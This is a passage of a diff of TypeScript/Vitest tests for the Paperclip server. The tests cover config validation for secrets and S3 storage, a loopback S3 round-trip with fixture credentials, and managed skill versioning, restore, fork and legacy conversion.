vi.stubEnv("PAPERCLIP_SECRETS_MASTER_KEY", value);
|
||||
vi.stubEnv("PAPERCLIP_SECRETS_MASTER_KEY_FILE", "/tmp/unused-master-key");
|
||||
expect(() => loadConfig()).toThrow(/stable PAPERCLIP_SECRETS_MASTER_KEY/);
|
||||
});
|
||||
|
||||
it("requires the Cloud bootstrap key even when an external secret provider is selected", () => {
|
||||
vi.stubEnv("PAPERCLIP_SECRETS_PROVIDER", "aws_secrets_manager");
|
||||
vi.stubEnv("PAPERCLIP_SECRETS_MASTER_KEY", undefined);
|
||||
expect(() => loadConfig()).toThrow(/stable PAPERCLIP_SECRETS_MASTER_KEY/);
|
||||
vi.stubEnv("PAPERCLIP_SECRETS_MASTER_KEY", "12345678901234567890123456789012");
|
||||
expect(loadConfig().secretsProvider).toBe("aws_secrets_manager");
|
||||
});
|
||||
|
||||
it.each(["", "{bad", JSON.stringify({ v: 1, mode: "cloud" })])("rejects malformed managed config before startup (%j)", (value) => {
|
||||
vi.stubEnv("PAPERCLIP_MANAGED_CONFIG", value);
|
||||
expect(() => loadConfig()).toThrow(/PAPERCLIP_MANAGED_CONFIG/);
|
||||
});
|
||||
|
||||
it("accepts imported explicit file storage with an environment-owned database", async () => {
|
||||
vi.stubEnv("PAPERCLIP_STORAGE_PROVIDER", undefined);
|
||||
vi.stubEnv("PAPERCLIP_STORAGE_S3_BUCKET", undefined);
|
||||
writeConfig({ provider: "s3", s3: { bucket: "file-bucket", region: "eu-west-1" } });
|
||||
setCloudRuntimeConfigSnapshot({ version: 1, revision: 0, config: await readLegacyCloudRuntimeConfig() });
|
||||
expect(loadConfig()).toMatchObject({ storageProvider: "s3", storageS3Bucket: "file-bucket", storageS3Region: "eu-west-1" });
|
||||
vi.stubEnv("PAPERCLIP_STORAGE_PROVIDER", "typo");
|
||||
expect(() => loadConfig()).toThrow(/PAPERCLIP_STORAGE_PROVIDER=s3/);
|
||||
});
|
||||
|
||||
it.each([{ provider: "s3" }, { provider: "s3", s3: { region: "us-east-1" } }])("rejects a real config file with an omitted bucket before import (%j)", async storage => {
|
||||
vi.stubEnv("PAPERCLIP_STORAGE_S3_BUCKET", undefined);
|
||||
writeConfig(storage);
|
||||
// Self-hosted readers still expose their default and raw-file provenance.
|
||||
vi.stubEnv("PAPERCLIP_MANAGED_CONFIG", undefined);
|
||||
expect(readConfigFile({ includeProvenance: true })).toMatchObject({ config: { storage: { s3: { bucket: "paperclip" } } }, explicitStorageS3Bucket: false });
|
||||
vi.stubEnv("PAPERCLIP_MANAGED_CONFIG", managed);
|
||||
await expect(readLegacyCloudRuntimeConfig()).rejects.toThrow(/storage.s3.bucket/);
|
||||
});
|
||||
|
||||
it.each(["", " "])("rejects an explicitly blank bucket in a real file (%j)", async bucket => {
|
||||
vi.stubEnv("PAPERCLIP_STORAGE_S3_BUCKET", undefined);
|
||||
writeConfig({ provider: "s3", s3: { bucket } });
|
||||
await expect(readLegacyCloudRuntimeConfig()).rejects.toThrow(/storage.s3.bucket/);
|
||||
});
|
||||
|
||||
it.each([undefined, "", " "].flatMap(bucket => [undefined, "environment-bucket"].map(environmentBucket => ({ bucket, environmentBucket }))))("rejects a legacy local-disk file with no explicit bucket before an S3 environment overlay (%j)", async ({ bucket, environmentBucket }) => {
|
||||
vi.stubEnv("PAPERCLIP_STORAGE_S3_BUCKET", environmentBucket);
|
||||
writeConfig({ provider: "local_disk", s3: { bucket } });
|
||||
await expect(readLegacyCloudRuntimeConfig()).rejects.toThrow(/storage.s3.bucket/);
|
||||
});
|
||||
|
||||
it("accepts an explicitly supplied default bucket name in a real file", async () => {
|
||||
vi.stubEnv("PAPERCLIP_STORAGE_S3_BUCKET", undefined);
|
||||
writeConfig({ provider: "s3", s3: { bucket: "paperclip" } });
|
||||
setCloudRuntimeConfigSnapshot({ version: 1, revision: 0, config: await readLegacyCloudRuntimeConfig() });
|
||||
expect(loadConfig().storageS3Bucket).toBe("paperclip");
|
||||
});
|
||||
|
||||
it("accepts an environment bucket with an authoritative absent-file snapshot", () => {
|
||||
writeConfig({ provider: "s3" });
|
||||
expect(loadConfig().storageS3Bucket).toBe("test-bucket");
|
||||
});
|
||||
|
||||
it("preserves ordinary self-hosted defaults, including key-file use", () => {
|
||||
for (const name of ["PAPERCLIP_MANAGED_CONFIG", "PAPERCLIP_STORAGE_PROVIDER", "PAPERCLIP_STORAGE_S3_BUCKET", "DATABASE_URL", "PAPERCLIP_SECRETS_MASTER_KEY"]) vi.stubEnv(name, undefined);
|
||||
expect(loadConfig()).toMatchObject({ storageProvider: "local_disk", storageS3Bucket: "paperclip", databaseUrl: undefined, databaseMode: "embedded-postgres" });
|
||||
vi.stubEnv("PAPERCLIP_STORAGE_PROVIDER", "typo");
|
||||
expect(loadConfig().storageProvider).toBe("local_disk");
|
||||
});
|
||||
});
|
||||
|
||||
// Real provider + AWS SDK over loopback. The remote S3 service and credentials
|
||||
// are simulated; this does not establish deployment bucket permissions.
|
||||
it("uses the validated config for normal S3 put/read/delete and stable env-key encryption", async () => {
|
||||
const objects = new Map<string, Buffer>();
|
||||
const operations: string[] = [];
|
||||
const server = createServer(async (req, res) => {
|
||||
const key = new URL(req.url!, "http://localhost").pathname;
|
||||
operations.push(`${req.method} ${key}`);
|
||||
if (req.method === "PUT") {
|
||||
const chunks: Buffer[] = [];
|
||||
for await (const chunk of req) chunks.push(Buffer.from(chunk));
|
||||
objects.set(key, Buffer.concat(chunks));
|
||||
res.end();
|
||||
} else if (req.method === "GET" && objects.has(key)) {
|
||||
const body = objects.get(key)!;
|
||||
res.writeHead(200, { "content-type": "text/plain", "content-length": body.length });
|
||||
res.end(body);
|
||||
} else if (req.method === "DELETE") {
|
||||
objects.delete(key);
|
||||
res.writeHead(204).end();
|
||||
} else {
|
||||
res.writeHead(404).end();
|
||||
}
|
||||
});
|
||||
await new Promise<void>((resolve) => server.listen(0, "127.0.0.1", resolve));
|
||||
vi.stubEnv("AWS_ACCESS_KEY_ID", "fixture-access-key");
|
||||
vi.stubEnv("AWS_SECRET_ACCESS_KEY", "fixture-secret-key");
|
||||
vi.stubEnv("AWS_SESSION_TOKEN", undefined);
|
||||
vi.stubEnv("PAPERCLIP_STORAGE_S3_ENDPOINT", `http://127.0.0.1:${(server.address() as AddressInfo).port}`);
|
||||
vi.stubEnv("PAPERCLIP_STORAGE_S3_FORCE_PATH_STYLE", "true");
|
||||
vi.stubEnv("PAPERCLIP_STORAGE_S3_PREFIX", "disposable-qualification");
|
||||
try {
|
||||
const config = loadConfig();
|
||||
const first = createStorageProviderFromConfig(config);
|
||||
await first.putObject({ objectKey: "company/object.txt", body: Buffer.from("retained"), contentType: "text/plain", contentLength: 8 });
|
||||
const replacement = createStorageProviderFromConfig(loadConfig());
|
||||
const result = await replacement.getObject({ objectKey: "company/object.txt" });
|
||||
const chunks: Buffer[] = [];
|
||||
for await (const chunk of result.stream) chunks.push(Buffer.from(chunk));
|
||||
expect(Buffer.concat(chunks).toString()).toBe("retained");
|
||||
await replacement.deleteObject({ objectKey: "company/object.txt" });
|
||||
expect(objects.size).toBe(0);
|
||||
expect(operations).toEqual(["PUT", "GET", "DELETE"].map(method => `${method} /test-bucket/disposable-qualification/company/object.txt`));
|
||||
const encrypted = createLocalEncryptedCipher("write").encrypt("saved credential");
|
||||
expect(createLocalEncryptedCipher("read").decrypt(encrypted)).toBe("saved credential");
|
||||
} finally {
|
||||
server.closeAllConnections();
|
||||
await new Promise<void>((resolve) => server.close(() => resolve()));
|
||||
}
|
||||
});
|
||||
@@ -0,0 +1,387 @@
|
||||
import { skillInstallationMaintenance } from "../services/skill-installation-maintenance.js";
|
||||
import { removeRuntimeAssetTree } from "../services/native-runtime/runtime-asset-retention.js";
|
||||
import { eq } from "drizzle-orm";
|
||||
import { writePaperclipSkillSyncPreference } from "@paperclipai/adapter-utils/server-utils";
|
||||
import { materializeSelectedSkills, rehydratePinnedSkillAssets } from "../services/native-runtime/runtime-context.js";
|
||||
import { nativeRuntimeContextFixture } from "../services/native-runtime/runtime-context.test-fixture.js";
|
||||
import { randomUUID } from "node:crypto";
|
||||
import { execFile } from "node:child_process";
|
||||
import { promisify } from "node:util";
|
||||
import { fileURLToPath } from "node:url";
|
||||
import { promises as fs } from "node:fs";
|
||||
import os from "node:os";
|
||||
import path from "node:path";
|
||||
import { afterAll, beforeAll, describe, expect, it, vi } from "vitest";
|
||||
import { applyPendingMigrations, agents, heartbeatRuns, companySkills, companySkillVersions, companies, createDb, instanceSettings } from "@paperclipai/db";
|
||||
import { companySkillService } from "../services/company-skills.js";
|
||||
import * as storageModule from "../storage/index.js";
|
||||
import { createStorageService } from "../storage/service.js";
|
||||
import { createLocalDiskStorageProvider } from "../storage/local-disk-provider.js";
|
||||
import { getEmbeddedPostgresTestSupport, startEmbeddedPostgresTestDatabase } from "./helpers/embedded-postgres.js";
|
||||
|
||||
const externalDatabase = process.env.PAPERCLIP_SKILL_TEST_DATABASE_URL;
|
||||
const support = externalDatabase ? { supported: true } : await getEmbeddedPostgresTestSupport();
|
||||
if (!support.supported) console.warn("Managed skill integration database unavailable:", support);
|
||||
describe.skipIf(!support.supported)("managed skills use committed versions", () => {
|
||||
let database: Awaited<ReturnType<typeof startEmbeddedPostgresTestDatabase>>;
|
||||
let db: ReturnType<typeof createDb>;
|
||||
let root: string;
|
||||
let home: string;
|
||||
const previousHome = process.env.PAPERCLIP_HOME;
|
||||
const previousInstance = process.env.PAPERCLIP_INSTANCE_ID;
|
||||
const previousStorage = process.env.PAPERCLIP_SKILL_PACKAGE_STORAGE_ENABLED;
|
||||
beforeAll(async () => {
|
||||
if (externalDatabase) {
|
||||
await applyPendingMigrations(externalDatabase);
|
||||
database = { connectionString: externalDatabase, cleanup: async () => {} };
|
||||
} else database = await startEmbeddedPostgresTestDatabase("managed-skill-content-");
|
||||
db = createDb(database.connectionString);
|
||||
root = await fs.mkdtemp(path.join(os.tmpdir(), "managed-skill-content-"));
|
||||
home = path.join(root, "server-a");
|
||||
process.env.PAPERCLIP_HOME = home;
|
||||
process.env.PAPERCLIP_INSTANCE_ID = "default";
|
||||
process.env.PAPERCLIP_SKILL_PACKAGE_STORAGE_ENABLED = "true";
|
||||
vi.spyOn(storageModule, "getStorageService").mockReturnValue(
|
||||
createStorageService(createLocalDiskStorageProvider(path.join(root, "objects"))),
|
||||
);
|
||||
}, 30_000);
|
||||
afterAll(async () => {
|
||||
vi.restoreAllMocks();
|
||||
if (previousHome === undefined) delete process.env.PAPERCLIP_HOME;
|
||||
else process.env.PAPERCLIP_HOME = previousHome;
|
||||
if (previousStorage === undefined) delete process.env.PAPERCLIP_SKILL_PACKAGE_STORAGE_ENABLED;
|
||||
else process.env.PAPERCLIP_SKILL_PACKAGE_STORAGE_ENABLED = previousStorage;
|
||||
await db?.$client.end({ timeout: 1 });
|
||||
await database?.cleanup();
|
||||
if (root) await removeRuntimeAssetTree(root);
|
||||
if (previousInstance === undefined) delete process.env.PAPERCLIP_INSTANCE_ID;
|
||||
else process.env.PAPERCLIP_INSTANCE_ID = previousInstance;
|
||||
});
|
||||
async function company() {
|
||||
const id = randomUUID();
|
||||
await db.insert(companies).values({ id, name: "Managed content", issuePrefix: `M${id.slice(0, 6)}` });
|
||||
return id;
|
||||
}
|
||||
|
||||
it("imports supporting files from a root-level package without truncating their paths", async () => {
|
||||
const companyId = await company();
|
||||
const service = companySkillService(db);
|
||||
const [imported] = await service.importPackageFiles(companyId, {
|
||||
"SKILL.md": "---\nname: Root package\n---\n# Root\n",
|
||||
"references/guide.md": "complete root guide",
|
||||
});
|
||||
expect(imported).toBeTruthy();
|
||||
const skills = await service.list(companyId);
|
||||
const skill = skills.find(entry => entry.name === "Root package")!;
|
||||
expect(await service.readFile(companyId, skill.id, "references/guide.md"))
|
||||
.toMatchObject({ content: "complete root guide" });
|
||||
});
|
||||
|
||||
it("loads persisted Cloud configuration for read-only maintenance without seeding it", async () => {
|
||||
const companyId = await company();
|
||||
await companySkillService(db).createLocalSkill(companyId, { name: "Cloud CLI", markdown: "# Cloud CLI" });
|
||||
const key = "cloud-runtime-config:v1";
|
||||
const run = (phase: string) => promisify(execFile)(process.execPath, [
|
||||
"--import", fileURLToPath(import.meta.resolve("tsx")),
|
||||
fileURLToPath(new URL("../../scripts/migrate-skill-packages.ts", import.meta.url)),
|
||||
`--phase=${phase}`, `--company=${companyId}`, "--limit=50",
|
||||
], { env: { ...process.env, DATABASE_URL: database.connectionString,
|
||||
PAPERCLIP_CLOUD_TENANT_SERVER_TOKEN: "disposable-cloud-cli-fixture",
|
||||
PAPERCLIP_STORAGE_PROVIDER: "local_disk", PAPERCLIP_STORAGE_LOCAL_DIR: path.join(root, "objects") },
|
||||
timeout: 60_000, maxBuffer: 1024 * 1024 });
|
||||
await expect(run("eligibility")).rejects.toThrow("Initialize Cloud runtime configuration");
|
||||
expect(await db.select().from(instanceSettings).where(eq(instanceSettings.singletonKey, key))).toHaveLength(0);
|
||||
await db.insert(instanceSettings).values({ singletonKey: key, general: { version: 1, revision: 0, config: null } });
|
||||
try {
|
||||
const eligibility = JSON.parse((await run("eligibility")).stdout.trim().split("\n").at(-1)!);
|
||||
expect(eligibility.results).toEqual([expect.objectContaining({ status: "version_backed" })]);
|
||||
const verification = JSON.parse((await run("verification")).stdout.trim().split("\n").at(-1)!);
|
||||
expect(verification.results).toEqual([expect.objectContaining({ status: "local_storage" })]);
|
||||
} finally {
|
||||
await db.delete(instanceSettings).where(eq(instanceSettings.singletonKey, key));
|
||||
}
|
||||
}, 180_000);
|
||||
|
||||
it("forks live linked-local content even when an older saved version exists", async () => {
|
||||
const companyId = await company();
|
||||
const directory = path.join(root, `linked-${randomUUID()}`);
|
||||
await fs.mkdir(directory);
|
||||
await fs.writeFile(path.join(directory, "SKILL.md"), "# Linked\n");
|
||||
await fs.writeFile(path.join(directory, "support.txt"), "old saved content");
|
||||
const [linked] = await db.insert(companySkills).values({ companyId, key: "linked", slug: "linked", name: "Linked",
|
||||
markdown: "# Linked\n", sourceType: "local_path", sourceLocator: directory,
|
||||
fileInventory: [{ path: "SKILL.md", kind: "skill" }, { path: "support.txt", kind: "other" }] }).returning();
|
||||
const service = companySkillService(db);
|
||||
const saved = await service.createVersion(companyId, linked!.id);
|
||||
await fs.writeFile(path.join(directory, "support.txt"), "current local content");
|
||||
await fs.writeFile(path.join(directory, "added.txt"), "new local file");
|
||||
const forked = await service.createLocalSkill(companyId, { name: "Live fork", forkedFromSkillId: linked!.id });
|
||||
expect(await service.readFile(companyId, forked.id, "support.txt")).toMatchObject({ content: "current local content" });
|
||||
expect(await service.readFile(companyId, forked.id, "added.txt")).toMatchObject({ content: "new local file" });
|
||||
expect((await service.getVersion(companyId, linked!.id, saved.id))?.fileInventory)
|
||||
.toContainEqual(expect.objectContaining({ path: "support.txt", content: "old saved content" }));
|
||||
});
|
||||
|
||||
it("carries committed version preconditions through a multi-file linked-local restore", async () => {
|
||||
const companyId = await company();
|
||||
const directory = path.join(root, `restore-${randomUUID()}`);
|
||||
await fs.mkdir(directory);
|
||||
await fs.writeFile(path.join(directory, "SKILL.md"), "# Original\n");
|
||||
await fs.writeFile(path.join(directory, "support.txt"), "original support");
|
||||
const [linked] = await db.insert(companySkills).values({ companyId, key: "linked", slug: "linked", name: "Linked",
|
||||
markdown: "# Original\n", sourceType: "local_path", sourceLocator: directory,
|
||||
fileInventory: [{ path: "SKILL.md", kind: "skill" }, { path: "support.txt", kind: "other" }] }).returning();
|
||||
const service = companySkillService(db);
|
||||
const saved = await service.createVersion(companyId, linked!.id);
|
||||
const original = (await service.getVersion(companyId, linked!.id, saved.id))!;
|
||||
await service.updateFile(companyId, linked!.id, "SKILL.md", "# Changed\n");
|
||||
await service.updateFile(companyId, linked!.id, "support.txt", "changed support");
|
||||
let versionId = (await service.readFile(companyId, linked!.id, "SKILL.md"))!.versionId;
|
||||
expect(versionId).toBeTruthy();
|
||||
for (const file of original.fileInventory) {
|
||||
const result = await service.updateFile(companyId, linked!.id, file.path, file.content, null,
|
||||
{ expectedVersionId: versionId });
|
||||
expect(result.versionId).toBeTruthy();
|
||||
expect(result.versionId).not.toBe(versionId);
|
||||
versionId = result.versionId;
|
||||
}
|
||||
expect(await service.readFile(companyId, linked!.id, "SKILL.md")).toMatchObject({ content: "# Original\n", versionId });
|
||||
expect(await service.readFile(companyId, linked!.id, "support.txt")).toMatchObject({ content: "original support", versionId });
|
||||
});
|
||||
|
||||
it("keeps an unassigned skill, supporting bytes and executable mode across fresh homes", async () => {
|
||||
const companyId = await company();
|
||||
const a = companySkillService(db);
|
||||
const skill = await a.createLocalSkill(companyId, { name: "Cold", slug: "cold", markdown: "# First\n" });
|
||||
expect(skill.sourceType).toBe("managed");
|
||||
expect(skill.sourceLocator).toBeNull();
|
||||
expect(skill.currentVersionId).toBeTruthy();
|
||||
await expect(fs.stat(path.join(home, "instances/default/skills", companyId, "cold"))).rejects.toMatchObject({ code: "ENOENT" });
|
||||
const saved = await a.updateFile(companyId, skill.id, "scripts/run.sh", "#!/bin/sh\necho cold\n", null,
|
||||
{ executable: true, expectedVersionId: skill.currentVersionId });
|
||||
const binary = await a.updateFile(companyId, skill.id, "data.bin", "AP8H", null,
|
||||
{ encoding: "base64", expectedVersionId: saved.versionId });
|
||||
await fs.rm(home, { recursive: true, force: true });
|
||||
process.env.PAPERCLIP_HOME = path.join(root, "server-b");
|
||||
const b = companySkillService(db);
|
||||
expect((await b.list(companyId)).some(item => item.id === skill.id)).toBe(true);
|
||||
expect(await b.readFile(companyId, skill.id, "data.bin")).toMatchObject({ content: "AP8H", encoding: "base64", versionId: binary.versionId });
|
||||
const updated = await b.updateFile(companyId, skill.id, "SKILL.md", "# Saved on B\n", null, { expectedVersionId: binary.versionId });
|
||||
const [runtime] = await b.listRuntimeSkillEntries(companyId, { onlyKeys: new Set([skill.key]), snapshotLatest: true });
|
||||
expect(runtime).toMatchObject({ versionId: updated.versionId, sourceStatus: "available" });
|
||||
expect((await fs.stat(path.join(runtime!.source, "scripts/run.sh"))).mode & 0o111).not.toBe(0);
|
||||
expect(await fs.readFile(path.join(runtime!.source, "data.bin"))).toEqual(Buffer.from([0, 255, 7]));
|
||||
await fs.rm(process.env.PAPERCLIP_HOME, { recursive: true, force: true });
|
||||
process.env.PAPERCLIP_HOME = path.join(root, "server-c");
|
||||
expect(await companySkillService(db).readFile(companyId, skill.id, "SKILL.md"))
|
||||
.toMatchObject({ content: "# Saved on B\n", versionId: updated.versionId });
|
||||
expect(await a.readFile(companyId, skill.id, "SKILL.md")).toMatchObject({ versionId: updated.versionId });
|
||||
});
|
||||
|
||||
it("rejects a save whose base changed while its package was being prepared", async () => {
|
||||
const companyId = await company();
|
||||
const service = companySkillService(db);
|
||||
const skill = await service.createLocalSkill(companyId, { name: "Race" });
|
||||
await expect(service.updateFile(companyId, skill.id, "first.md", "first", null, { publication: {
|
||||
beforeLock: async () => { await service.updateFile(companyId, skill.id, "second.md", "second"); },
|
||||
} })).rejects.toMatchObject({ status: 409 });
|
||||
expect(await service.readFile(companyId, skill.id, "second.md")).toMatchObject({ content: "second" });
|
||||
await expect(service.readFile(companyId, skill.id, "first.md")).rejects.toMatchObject({ status: 404 });
|
||||
await expect(service.updateFile(companyId, skill.id, "first.md", "stale", null,
|
||||
{ expectedVersionId: skill.currentVersionId })).rejects.toMatchObject({ status: 409 });
|
||||
});
|
||||
|
||||
it("rolls back publication without changing the head or an existing version", async () => {
|
||||
const companyId = await company();
|
||||
const service = companySkillService(db);
|
||||
const skill = await service.createLocalSkill(companyId, { name: "Rollback", markdown: "# Original" });
|
||||
await expect(service.updateFile(companyId, skill.id, "SKILL.md", "# Rejected", null,
|
||||
{ publication: { afterPublish: async () => { throw new Error("failed audit"); } } })).rejects.toThrow("failed audit");
|
||||
expect(await service.readFile(companyId, skill.id, "SKILL.md")).toMatchObject({ content: "# Original", versionId: skill.currentVersionId });
|
||||
expect(await service.listVersions(companyId, skill.id)).toHaveLength(1);
|
||||
});
|
||||
|
||||
it("does not overwrite a metadata edit committed while content was being prepared", async () => {
|
||||
const companyId = await company();
|
||||
const service = companySkillService(db);
|
||||
const skill = await service.createLocalSkill(companyId, { name: "Metadata race", markdown: "# Original" });
|
||||
await expect(service.updateFile(companyId, skill.id, "SKILL.md", "# Candidate", null, { publication: {
|
||||
beforeLock: async () => { await service.updateSkill(companyId, skill.id, { description: "Acknowledged metadata" }); },
|
||||
} })).rejects.toMatchObject({ status: 409 });
|
||||
expect(await service.getById(companyId, skill.id)).toMatchObject({ description: "Acknowledged metadata", currentVersionId: skill.currentVersionId });
|
||||
expect(await service.readFile(companyId, skill.id, "SKILL.md")).toMatchObject({ content: "# Original" });
|
||||
});
|
||||
|
||||
it("restores the exact historical inventory and preserves history through rename and fork", async () => {
|
||||
const companyId = await company();
|
||||
const service = companySkillService(db);
|
||||
const skill = await service.createLocalSkill(companyId, { name: "History", markdown: "# Original" });
|
||||
const extra = await service.updateFile(companyId, skill.id, "new.md", "not in first version");
|
||||
const restored = await service.createVersion(companyId, skill.id,
|
||||
{ sourceVersionId: skill.currentVersionId!, expectedVersionId: extra.versionId });
|
||||
await expect(service.readFile(companyId, skill.id, "new.md")).rejects.toMatchObject({ status: 404 });
|
||||
const renamed = await service.renameSkill(companyId, skill.id, { name: "Renamed", expectedVersionId: restored.id });
|
||||
expect(renamed.skill).toMatchObject({ id: skill.id, sourceType: "managed", sourceLocator: null });
|
||||
expect((await service.getVersion(companyId, skill.id, skill.currentVersionId!))!.fileInventory)
|
||||
.toContainEqual({ path: "SKILL.md", kind: "skill", content: "# Original" });
|
||||
const fork = await service.forkSkill(companyId, skill.id);
|
||||
expect(fork.skill).toMatchObject({ sourceType: "managed", sourceLocator: null, forkedFromSkillId: skill.id });
|
||||
expect((await service.readFile(companyId, fork.skill.id, "SKILL.md"))!.content)
|
||||
.toBe((await service.readFile(companyId, skill.id, "SKILL.md"))!.content);
|
||||
});
|
||||
it("persists selection before delivery and rejects deleting a detached active run's pin", async () => {
|
||||
const companyId = await company();
|
||||
const service = companySkillService(db);
|
||||
const skill = await service.createLocalSkill(companyId, { name: "Pinned", markdown: "# pinned bytes" });
|
||||
const [agent] = await db.insert(agents).values({ companyId, name: "Runner" }).returning();
|
||||
const [run] = await db.insert(heartbeatRuns).values({ companyId, agentId: agent!.id, status: "running" }).returning();
|
||||
let persisted = false;
|
||||
const entries = await service.withRuntimeSkillEntries(companyId, {
|
||||
onlyKeys: new Set([skill.key]), snapshotLatest: true,
|
||||
selectVersions: async selected => {
|
||||
expect(selected).toEqual([expect.objectContaining({ skillId: skill.id, versionId: skill.currentVersionId })]);
|
||||
expect(selected[0]).not.toHaveProperty("source");
|
||||
await expect(fs.stat(path.join(process.env.PAPERCLIP_HOME!, "instances/default/skills", companyId,
|
||||
"__versions__", skill.id, skill.currentVersionId!))).rejects.toMatchObject({ code: "ENOENT" });
|
||||
await db.update(heartbeatRuns).set({ contextSnapshot: { skillVersions: { [skill.key]: skill.currentVersionId }, skillSelectionSnapshot: true } })
|
||||
.where(eq(heartbeatRuns.id, run!.id));
|
||||
persisted = true;
|
||||
return new Set([skill.key]);
|
||||
},
|
||||
}, async entries => { expect(persisted).toBe(true); return entries; });
|
||||
const config = writePaperclipSkillSyncPreference({}, [{ key: skill.key, versionId: skill.currentVersionId }]);
|
||||
const selected = await materializeSelectedSkills(config, entries, false);
|
||||
const context = { ...nativeRuntimeContextFixture(), skills: selected };
|
||||
const originalHome = process.env.PAPERCLIP_HOME!;
|
||||
process.env.PAPERCLIP_HOME = path.join(root, `recovery-${randomUUID()}`);
|
||||
const recovered = await rehydratePinnedSkillAssets(db, { companyId, agentId: agent!.id, runId: run!.id }, context);
|
||||
expect(recovered.skills[0]!.bundle.digest).toBe(selected[0]!.bundle.digest);
|
||||
expect(recovered.skills[0]!.bundle.rootPath).not.toBe(selected[0]!.bundle.rootPath);
|
||||
expect(await fs.readFile(path.join(recovered.skills[0]!.bundle.rootPath, "SKILL.md"), "utf8")).toBe("# pinned bytes");
|
||||
await expect(rehydratePinnedSkillAssets(db, { companyId, agentId: agent!.id, runId: run!.id }, {
|
||||
...context, skills: [{ ...selected[0]!, bundle: { ...selected[0]!.bundle, digest: "0".repeat(64) } }],
|
||||
})).rejects.toThrow("admitted digest");
|
||||
await expect(service.deleteSkill(companyId, skill.id)).rejects.toMatchObject({ status: 422 });
|
||||
await db.update(heartbeatRuns).set({ status: "succeeded", finishedAt: new Date() }).where(eq(heartbeatRuns.id, run!.id));
|
||||
await expect(service.deleteSkill(companyId, skill.id)).resolves.toMatchObject({ id: skill.id });
|
||||
process.env.PAPERCLIP_HOME = originalHome;
|
||||
});
|
||||
|
||||
it("converts a legacy managed installation without changing its identity or identical version", async () => {
|
||||
const companyId = await company();
|
||||
const directory = path.join(root, `legacy-${randomUUID()}`);
|
||||
await fs.mkdir(directory);
|
||||
await fs.writeFile(path.join(directory, "SKILL.md"), "# legacy saved");
|
||||
await fs.writeFile(path.join(directory, "support.txt"), "support");
|
||||
const [legacy] = await db.insert(companySkills).values({ companyId, key: `company/${companyId}/legacy`, slug: "legacy",
|
||||
name: "Legacy", markdown: "# legacy saved", sourceType: "local_path", sourceLocator: directory,
|
||||
fileInventory: [{ path: "SKILL.md", kind: "skill" }, { path: "support.txt", kind: "other" }],
|
||||
metadata: { sourceKind: "managed_local" } }).returning();
|
||||
const service = companySkillService(db);
|
||||
const version = await service.createVersion(companyId, legacy!.id);
|
||||
await db.update(companySkillVersions).set({ packageFileMap: null }).where(eq(companySkillVersions.id, version.id));
|
||||
const maintenance = skillInstallationMaintenance(db);
|
||||
expect((await maintenance.installations({ id: legacy!.id })).results[0]!.status).toBe("conversion_required");
|
||||
await expect(maintenance.installations({ companyId, apply: true })).rejects.toMatchObject({ status: 409 });
|
||||
expect((await maintenance.installations({ id: legacy!.id, apply: true, writersStopped: true })).results)
|
||||
.toEqual([expect.objectContaining({ skillId: legacy!.id, versionId: version.id, status: "converted" })]);
|
||||
await fs.rm(directory, { recursive: true });
|
||||
expect(await service.getById(companyId, legacy!.id)).toMatchObject({ sourceType: "managed", sourceLocator: null, currentVersionId: version.id });
|
||||
expect(await service.readFile(companyId, legacy!.id, "support.txt")).toMatchObject({ content: "support" });
|
||||
expect((await maintenance.eligibility({ id: legacy!.id })).results[0]!.status).toBe("version_backed");
|
||||
});
|
||||
|
||||
it("reports an unrecoverable legacy installation and leaves linked sources alone", async () => {
|
||||
const companyId = await company();
|
||||
const [legacy] = await db.insert(companySkills).values({ companyId, key: "legacy-missing", slug: "legacy-missing", name: "Missing",
|
||||
markdown: "partial metadata only", sourceType: "local_path", sourceLocator: path.join(root, "absent"),
|
||||
metadata: { sourceKind: "managed_local" } }).returning();
|
||||
const [linked] = await db.insert(companySkills).values({ companyId, key: "linked", slug: "linked", name: "Linked",
|
||||
markdown: "# Linked", sourceType: "local_path", sourceLocator: path.join(root, "linked") }).returning();
|
||||
const report = await skillInstallationMaintenance(db).installations({ companyId, apply: true, writersStopped: true });
|
||||
expect(report.results).toEqual(expect.arrayContaining([
|
||||
expect.objectContaining({ skillId: legacy!.id, status: "blocked" }),
|
||||
expect.objectContaining({ skillId: linked!.id, status: "linked_local" }),
|
||||
]));
|
||||
expect(await companySkillService(db).getById(companyId, legacy!.id)).toMatchObject({ sourceType: "local_path", currentVersionId: null });
|
||||
});
|
||||
|
||||
it("converts a missing legacy directory from its complete saved version", async () => {
|
||||
const companyId = await company();
|
||||
const service = companySkillService(db);
|
||||
const skill = await service.createLocalSkill(companyId, { name: "Saved conversion", markdown: "# saved" });
|
||||
const saved = await service.updateFile(companyId, skill.id, "support.txt", "complete supporting content");
|
||||
await db.update(companySkills).set({ sourceType: "local_path", sourceLocator: path.join(root, "missing-legacy"),
|
||||
metadata: { sourceKind: "managed_local" } }).where(eq(companySkills.id, skill.id));
|
||||
const maintenance = skillInstallationMaintenance(db);
|
||||
expect((await maintenance.installations({ id: skill.id, apply: true, writersStopped: true })).results)
|
||||
.toEqual([expect.objectContaining({ skillId: skill.id, versionId: saved.versionId, status: "converted" })]);
|
||||
expect((await maintenance.installations({ id: skill.id, apply: true, writersStopped: true })).results[0]!.status).toBe("unchanged");
|
||||
expect(await service.readFile(companyId, skill.id, "support.txt")).toMatchObject({ content: "complete supporting content" });
|
||||
});
|
||||
|
||||
it.each([false, true])("blocks an incomplete installed repository version and converts only its exact source (package: %s)", async packaged => {
|
||||
const companyId = await company(), service = companySkillService(db);
|
||||
process.env.PAPERCLIP_SKILL_PACKAGE_STORAGE_ENABLED = String(packaged);
|
||||
const skill = await service.createLocalSkill(companyId, { name: "Partial legacy repository", markdown: "# Installed revision" });
|
||||
process.env.PAPERCLIP_SKILL_PACKAGE_STORAGE_ENABLED = "true";
|
||||
const commit = "a".repeat(40);
|
||||
await db.update(companySkills).set({ sourceType: "github", sourceLocator: `https://github.com/fixture/skills/tree/${commit}/fixture`,
|
||||
sourceRef: commit, metadata: { owner: "fixture", repo: "skills", repoSkillDir: "fixture" },
|
||||
fileInventory: [{ path: "SKILL.md", kind: "skill" }, { path: "reference.md", kind: "reference" }],
|
||||
}).where(eq(companySkills.id, skill.id));
|
||||
const fetchMock = vi.spyOn(globalThis, "fetch").mockResolvedValue(new Response("unavailable", { status: 404 }));
|
||||
try {
|
||||
const maintenance = skillInstallationMaintenance(db);
|
||||
expect((await maintenance.eligibility({ id: skill.id })).results[0]).toMatchObject({ status: "incomplete_current_version" });
|
||||
expect((await maintenance.verifyVersions({ id: skill.currentVersionId! })).results[0]).toMatchObject({ status: "incomplete_current_version" });
|
||||
expect(fetchMock).not.toHaveBeenCalled();
|
||||
